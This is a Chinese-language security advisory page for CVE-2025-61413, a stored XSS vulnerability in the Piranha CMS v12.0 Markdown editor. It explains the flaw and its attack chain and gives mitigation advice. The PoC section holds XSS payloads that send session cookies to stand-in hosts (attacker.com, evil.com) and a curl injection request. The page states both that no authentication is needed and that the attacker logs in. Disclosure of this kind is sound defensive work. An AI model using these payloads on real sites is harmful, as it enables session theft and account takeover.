IPBUF安全漏洞报告
English
CVE-2025-61413 CVSS 6.1 中危

CVE-2025-61413 Piranha CMS存储型XSS漏洞

披露日期: 2025-10-23

漏洞信息

漏洞编号
CVE-2025-61413
漏洞类型
存储型XSS
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Piranha CMS v12.0

相关标签

存储型XSS跨站脚本Piranha CMSCVE-2025-61413内容管理系统Markdown注入Web安全.NET Core

漏洞概述

CVE-2025-61413是Piranha CMS v12.0中发现的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞位于管理后台的页面管理组件(/manager/pages)中,攻击者可以通过创建新页面并在Markdown编辑器块中注入恶意JavaScript代码。当其他用户访问包含该恶意内容的页面时,攻击者的脚本代码将在受害者浏览器中执行,从而窃取会话cookie、劫持用户账户或进行其他恶意操作。由于该XSS payload存储在服务器端数据库中,所有访问该页面的用户都会受到攻击影响,因此具有广泛的攻击面和较高的危害性。Piranha CMS是一个基于.NET Core的开源内容管理系统,广泛用于构建企业网站和Web应用程序。该漏洞无需认证即可利用,但需要用户交互触发,是一起典型的存储型XSS安全事件。

技术细节

该漏洞源于Piranha CMS v12.0在处理Markdown内容时未对用户输入进行充分的HTML转义和过滤。攻击者登录管理后台后,导航至页面管理功能(/manager/pages),创建新页面或编辑现有页面。在页面的Markdown编辑器中,攻击者可以插入包含恶意JavaScript代码的payload,例如:<script>alert(document.cookie)</script>或<img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>。由于系统直接将该payload存储到数据库且未进行安全过滤,当Markdown内容被渲染为HTML页面时,恶意脚本会被浏览器执行。攻击者可以利用此漏洞窃取管理员会话cookie、进行CSRF攻击修改网站内容,或将用户重定向到钓鱼页面。该漏洞的根本原因是Markdown解析器在渲染HTML时未启用安全模式或进行输入验证,建议在Markdown渲染前对所有用户输入进行严格的HTML编码和过滤。

攻击链分析

STEP 1
步骤1
攻击者访问目标Piranha CMS网站的管理后台登录页面(/manager)
STEP 2
步骤2
攻击者使用有效凭证登录管理后台,或利用其他方式获取管理员会话
STEP 3
步骤3
导航至页面管理功能(/manager/pages),创建新页面或编辑现有页面
STEP 4
步骤4
在页面的Markdown编辑器块中注入恶意XSS payload,如<script>alert(document.cookie)</script>
STEP 5
步骤5
保存页面,恶意payload被存储到数据库中
STEP 6
步骤6
当普通用户或其他管理员访问该页面时,Markdown内容被渲染为HTML
STEP 7
步骤7
恶意JavaScript代码在受害者浏览器中执行,窃取cookie或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-61413 PoC - Stored XSS in Piranha CMS v12.0 // Steps to reproduce: // 1. Login to Piranha CMS admin panel (/manager) // 2. Navigate to Pages management (/manager/pages) // 3. Create a new page or edit existing page // 4. In the Markdown block editor, inject the following payload: // Payload 1: Basic XSS const payload1 = '<script>alert(document.cookie)</script>'; // Payload 2: Data exfiltration const payload2 = '<img src=x onerror="fetch(`https://attacker.com/steal?c=${document.cookie}`)">'; // Payload 3: Session hijacking const payload3 = '<script>document.location="https://evil.com/log?cookie="+document.cookie</script>'; // 5. Save the page // 6. Visit the page as any user - XSS will be triggered // Example curl request to inject: const curlPoC = ` curl -X POST 'http://target.com/manager/pages/save' \ -H 'Content-Type: application/json' \ -d '{ "title": "Malicious Page", "blocks": [ { "type": "markdown", "content": "<script>fetch(\"https://attacker.com/steal?c=\"+document.cookie)</script>" } ] }' `;

影响范围

Piranha CMS v12.0

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 在Web应用防火墙(WAF)中配置规则,拦截包含<script>、<img onerror>等XSS特征的请求;2) 临时禁用Markdown编辑器的高级功能,限制用户输入内容;3) 对管理后台实施严格的访问控制,限制访问IP范围;4) 启用审计日志,监控异常的管理员操作行为;5) 提醒管理员不要点击来源不明的链接,定期更换密码。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表